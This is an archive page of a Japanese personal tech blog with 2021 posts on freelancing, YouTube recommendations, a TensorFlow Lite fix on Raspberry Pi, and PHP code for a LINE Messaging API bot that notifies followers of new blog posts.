今日、先日にツイートした案件の締切日ですが・・・(*´ω`*)、未来の自分は案件取れたでしょうか?来月の支払いをペイ出来る額ですので取れると良いですね。さて、案件9割完成して案件に申し込むみたいな事は非効率だけどこの非効率で仕事に応募している理由は、やっぱ安価な仕事でも仕事は仕事ですよという気持ちで取り組んでいます。

とある案件

因みに今回はこういう案件を作りました。JSのコードの行数は約800行、PHPのコードは約200行で合計、1000行のコードを2日間で書きました・・・?。サイトを動的な処理で動かしているので結構、無駄にコードを書いています。いつもの通り設計はなし、頭の中でさっさと考えて作っております。

もし案件が取れなかったらコードなどを自分の名前のサイト、もしくはgithubに公開します?ので、その時はご利用ください、可能性としては50%ぐらいの確率で請け負う事が出来ると考えています。

タグ

1000, 2, 200, 50, 800, , github, JS, php, コード, ご利用, サイト, ツイート, ペイ, , , 今回, 今日, 仕事, 先日, 公開, 処理, 効率, 可能性, 合計, 名前, 安価, 完成, 応募, , , 未来, 来月, 案件, 気持ち, 無駄, 理由, 確率, 締切, 自分, 行数, 設計, 通り, , ,

しまぶーのIT大学は駆け出しIT屋さんには勉強になると思います。

2021.07.28

Logging

来月から派遣で働くかもしれません、どうなるのかは今の段階ではわからないですが来週にはその事が分かるかと思います。さて、しまぶーのIT大学はタイトルに書いた通り、駆け出しのIT屋さん、特にフロントエンドさんやコーダーさんなどには為になる話になっていると思います。

Chrome DevToolsの使い方を徹底解説!Chrome Developer Toolsを使いこなすと開発効率が上がる!【ヤフー出身エンジニアが教える初心者向けプログラミング講座】

特に女性の方に受けそうな爽やか系イケメンなので良いかと・・・(*´ω`*)。YOUTUBE登録者数はあともう少しで10万登録になるので分かりやすい解説だなと思った方は下記よりYOUTUBE登録をポッチりとしてみてください。尚、自分は紹介しても一銭もお金が発生することはありません?

https://www.youtube.com/channel/UCti6dG0zSAetLGGYcgNML4Q

タグ

10, IT, youtube, イケメン, エンド, お金, コーダー, こと, しま, タイトル, ぶー, フロント, ポッチ, 一銭, , 下記, , , 勉強, 大学, 女性, , , 来月, 来週, 段階, 派遣, , 爽やか, 発生, 登録, 登録者, 紹介, 自分, 解説, , 通り, 駆け出し,

LINE messaging apiでブログの配信通知するプログラムコード。

2021.07.14

Logging

暑い日が続いています、夕立になった後のアスファルトの匂いを嗅ぐと夏だなぁって思うのは自分だけでしょうか?
さてLINE messaging apiでブログの配信通知するプログラムコードを書きましたのでお裾分けします?、コードはいつもの通りコメントなんてものはありません。この2つのコードは何をしているのかだけ、解説しますね。

1つ目のコードは私のLINEチャンネルを友だち追加してくれたら、データベースにuseridを登録するコードです。解除したらuseridの削除もちゃんとしています。

2つ目のコードは私のLINEチャンネルに登録してくれた方々に最新の記事を送信しています。自分は毎日、9時に最新の記事を送信するようにcron登録しました。

一部、defineを設定している部分がありますのでコードに追加してください、よろしくお願いします?
※LINEチャンネル登録よろしくお願いします。

<?php
    class line{
        function webhook($webhook_object=null){
            if(!$webhook_object)return false;
            $obj = json_decode($webhook_object);
            $type = $obj->events[0]->type;
            $userId = $obj->events[0]->source->userId;
            $replyToken = $obj->events[0]->replyToken;
            if($type==="follow"){
                $pdo = self::db();
                if($pdo){
                    $sql = "insert into user (userid)values(:userid)";
                    $sth = $pdo->prepare($sql);
                    $sth->bindValue(":userid",$userId,PDO::PARAM_STR);
                    $sth->execute();
                }
            }
            if($type==="unfollow"){
                $pdo = self::db();
                if($pdo){
                    $sql = "delete from user where userid = :userid";
                    $sth = $pdo->prepare($sql);
                    $sth->bindValue(":userid",$userId,PDO::PARAM_STR);
                    $sth->execute();
                }
            }
            if($type==="message"){

            }
        }

        function db(){
            try {
                $pdo = new PDO(DSN,USERNAME,PASSWORD);
                return $pdo;
            } catch (\Throwable $th) {
                //throw $th;
                return false;
            }
        }
    }


    if($data = file_get_contents('php://input')){
       print line::webhook($data);
    }
<?php
    class blog_post_msg_line{

        function db(){
            try {
                //code...
                return new PDO(DSN,USERNAME,PASSWORD);
            } catch (\Throwable $th) {
                //throw $th;
                return false;
            }
        }

        function rss(){
            $obj = simplexml_load_file("https://zip358.com/feed");
            $post_message[2] = $obj->channel->item[0]->title ."\n". $obj->channel->item[0]->link;
            $post_message[1] = $obj->channel->item[1]->title ."\n". $obj->channel->item[1]->link;
            $post_message[0] = $obj->channel->item[2]->title ."\n". $obj->channel->item[2]->link;
            return $post_message;
        }

        function main(){
            $pdo = self::db();
            if($pdo){
                $post_message = self::rss();
                $sql = "select userid from user;";
                $sth = $pdo->query($sql);
                $res = $sth->fetchAll(PDO::FETCH_ASSOC);
                if($res){
                    foreach($res as $key=>$val){
                        $user_id = $val["userid"];
                        self::line_post($user_id,$post_message);
                    }
                }
                
            }
            
        }

        function line_post($user_id ='',$post_message=null){
            $text = [
                [
                    'type' => 'text',
                    'text' =>"最新の記事をお届けします"
                ],
                [
                'type' => 'text',
                'text' =>$post_message[0]
                ],
                [
                    'type' => 'text',
                    'text' =>$post_message[1]
                ],
                [
                    'type' => 'text',
                    'text' =>$post_message[2]
                ]                                
            ];
            
            $message = [
                'to' => $user_id,
                'messages' => $text
            ];
            
            $message = json_encode($message);
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_HTTPHEADER, array('Authorization: Bearer ' . ACCESS_TOKEN, 'Content-Type: application/json'));
            curl_setopt($ch, CURLOPT_URL, 'https://api.line.me/v2/bot/message/push');
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
            curl_setopt($ch, CURLOPT_POSTFIELDS, $message);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            $res = curl_exec($ch);
            curl_close($ch);      
        }
    }

    if($argv[0]){
        blog_post_msg_line::main();
    }  

タグ

, 2, , API, cron, define, line, Messaging, userid, アスファルト, いつも, お裾分け, お願い, コード, コメント, チャンネル, データベース, ブログ, プログラム, もの, 一部, , 削除, 匂い, 友だち, , 夕立, , 方々, , 最新, 毎日, 登録, , 自分, 解説, 解除, 記事, 設定, 追加, 送信, 通り, 通知, 部分, 配信,

McGuffin(マクガフィン)というYOUTUBEチャンネルにこのブログで紹介したあの人が!

2021.06.30

Logging

マクガフィンは音楽・ファッション・スポーツなどのユースカルチャーを通してミレニアル世代の心を動かす動画メディアですね・・・。チャンネルの概要はマクガフィンのYOUTUBEチャンネル概要から引用・・・してます?。このYOUTUBEチャンネルに岡奈なな子さんが出てました?。

岡奈なな子が千駄ヶ谷のコーヒーショップ『HOTEL DRUGS』のナタリーさんと色々話してきた。 -HARAJUKU UNKNOWN-
ちょっとファンクな女性YOUTUBER

いや、ちょっとびっくりしましたが、自分がシェアする人やTwitterでシェアしている音楽などは何故かわからないけど、出世していく人が多いです。自分は全然なのに何故!???、自分もある程度、定期的な収益が欲しいこの頃です。尚、マクガフィンでは上記にも書いている通りミレニアル世代の心を動かす若い世代の人たちをターゲットとした動画がたくさんあると思います。その世代ではないので「そうですと言い切りませんが」が、魅力的な動画は結構あります。

チャンネル登録はこちらから
https://www.youtube.com/channel/UC5CXd3yvCNfePkAbxeianDQ

タグ

McGuffin, Twitter, youtube, YOUTUBER, カルチャー, こちら, シェア, スポーツ, ターゲット, たくさん, チャンネル, なな子, びっくり, ファッション, ファンク, ブログ, マクガフィン, ミレニアル, メディア, ユース, 上記, 世代, , 何故, 出世, 動画, 収益, , 女性, , 引用, , 概要, 登録, 紹介, 自分, 通り, 音楽, ,

TensorFlow Lite(テンソルフロー ライト)をインストールしモデル実行まで。

2021.06.14

Logging

ラズベリーパイ3にTensorFlow Lite(テンソルフロー ライト)をインストールしモデル実行まで軽く字幕で紹介した動画が下記になります。インストール方法は公式に書かれた通りに実行すれば上手くインストール出来るはずです。比較的に低スペックのマシンでも動くはずなのです、どうしてもエラーが出て動かないようであれば、それはおそらくあなたのマシンに問題があります?。

テンソルフローライト

動画でハマりどころがあるという事をブログで解説しますと書いていますので、そのハマりどころを解説します。。。

TensorFlow Lite(テンソルフロー ライト)で動かす場合、label_image.pyの修正箇所が公式に書かれていると思いますが・・・?、ここで自分がハマり、実行するコマンドを打ってもパラメーターがどうたらというエラーが出力されて動きませんでした。結論から言うと原因はマスターのソースコードにあったのです。修正を要領よく修正しては駄目だった。直接的な原因となったのは–num_threadsのパラメーターを投げていたのが原因でした。

公式では下記の内容に変更しなさいと書かれています。tf.lite.Interpreterの部分を置き換えればよいだろうと思っていたのです。

interpreter = tf.lite.Interpreter(model_path=args.model_file)

マスターのソースコードは若干、公式とは違ってこのようなソースコードになっていました。

  interpreter = tf.lite.Interpreter(
      model_path=args.model_file, num_threads=args.num_threads)

渡す引数が一つ増えていたので、自分はそれを残していたのですが・・・?、これでは動かないのです。そう・・num_threads=args.num_threadsは削除してあげないとモデルを動かすことが出来なかったのです。それがわからず渡すパラメーターが駄目なんだとか思って四苦八苦していました。

自分みたいな修正方法している方も中にはいると思ったので、今回、初心者がハマった沼を紹介しました?。

タグ

, image, label, LITE, py, tensorflow, あなた, インストール, エラー, コード, ここ, コマンド, スペック, ソース, それ, テンソル, はい, パス, パラメーター, フロー, ブログ, マシン, マスター, モデル, ライド, ラズベリー, 下記, , 修正, 公式, 出力, 動画, 原因, 問題, 場合, 字幕, 実行, 方法, 箇所, 紹介, 結論, 自分, 解説, 通り,

フリーランスで稼ぐというのは大変ですよ。

2021.05.27

Logging

フリーランスで稼ぐというのは大変ですよという言葉に尽きると思うですよ。簡単にはお金を稼げないという事。稼げる人は稼げるだろうけど、ほとんどの人は稼げないと思います。稼げる仕組みづくりをしないと、どうも毎月収益が安定的に稼ぐことはできないようです。クラウドワークスやランサーズだけで稼げる人は一握りです、クラウドワークスやランサーズも先発優位性があり、後から参入するのは結構大変です、そしてクラウドワークスなどは単価が安い仕事やちょっと使い方変えると違法性にも使えるような仕組みの案件もあるので、正直なところ良い仕事がない。

【仕事ない、お金ない】安易な独立を勧めない理由

因みに自分はフリーランスになりたいとは思っていないけれど、今はフリーランスみたいな事をしています、先日書いた通り(Tweet?)、国民年金を一括支払いして現金をあまり持っていません。なので、毎月の支払いを相殺するぐらいの収入を得ようとクラウドでお仕事を探したりしています。このまま、こういう生活もあれなんでパートなども始めないと大変だなと思っています。フルリモートの仲介業者などにも登録していてそこからの紹介なども来ていますが、何だかメンタル的に疲れそうなので尻込みしています。なのでリモートワークなどの仕事もしないとなると残るのは自分で仕事や商品を作り販売するしかなくなりますが、こちらも先発優位性があり後発は大変です。今は仕方なくフリーランスという道に歩んでいるけど、このままではキャッシュが徐々に減っていくことは目に見えています。そうならない為にも何かチェンジしないといけないなと思っている今日この頃です。

本当に誰かに雇われているって楽だと思いますよ。
トイウコトデ、ガンバリマス。

タグ

Tweet, あれ, お仕事, お金, クラウド, こと, このまま, ちょっと, ところ, パート, フリー, ほとんど, ランサーズ, ランス, ワークス, 一括, 一握り, , , , 仕事, 使い方, 優位性, 先日, 先発, 単価, 参入, 収入, 収益, 国民年金, 大変, , 案件, 正直, 毎月, 現金, 生活, 相殺, 簡単, 自分, 言葉, 通り, 違法性,

クラウドワークス・ランサーズは稼げないは本当!?嘘!?

2021.04.28

Logging

クラウドワークスランサーズは稼げないは本当です。じゃ何故稼げないか?
安い単価を提案すれば仕事は取れますが、消耗するだけなので辞めておいた方が無難です。マトモな案件には募集する人も多く30?100人の中での競争になります、そうなると実績のない人は単価を安くしようと思って値を下げて何とか仕事を取ろうとします。そして結局仕事を取れても割りに合わない仕事になり、「何をやっているのだろうか」という事になりがちです。因みに自分はクラウドワークス・ランサーズとも案件を一つずつ仕事をして辞めました。辞めた理由は割りに合わないと強く思ったからです。副業の収入としては良いかもしれないですが、これを本業にするのは正直なところかなりの努力とメンタルが必要になります。

【クラウドソーシング】消耗せずに稼ぐための5つのポイント【失敗から学ぶ】

サイトウさんが解説している通り、クラウドソーシング利益の本柱しない事がオススメです。
ITエンジニアを目指している方へ
ITエンジニアを目指している方もそうですが、ITエンジニアって好きじゃないと恐らく続かない職業かと思います。この業界は日進月歩です、技術の進化をすごく影響を受ける職業です。なので、流行っているからITエンジニア目指している方はオススメしません。いま起きていることはあんまささんが個人開発アプリで稼いだ時の状態と同じです。いま現場がほしいのは経験豊富な技術者です。だから、中途未経エンジニアは大手企業も雇わなくなってきていますし、中小企業はそこらへんもっと厳しいと思っておいたほうが良いでしょう。

「個人でアプリを開発して稼ぐ」はもう無理

フルリモートが進むとコミュニケーション能力より技術があるかないかで判断されるようになると思います。これはIT業界だけの話です。他の業界がどうなるかはわからないですがIT業界は在宅ワークが進めばそうなると思います。またクラウドワークス・ランサーズはもう飽和状態ですので辞めた方が賢明です。逆に依頼する方は良いかなと思います。

追記:たまに小遣い稼ぎしています。

タグ

100, 30, IT, エンジ, エンジニア, おすすめ, かなり, クラウド, これ, サイトウ, ソーシング, ところ, まとも, メンタル, ランサーズ, ワークス, 一つ, , , , 仕事, , , 利益, 副業, 努力, 募集, 単価, 収入, , 多く, 実績, 必要, 提案, , , 本当, 本業, , 案件, 正直, 消耗, 無難, 理由, 競争, 自分, 解説, 通り,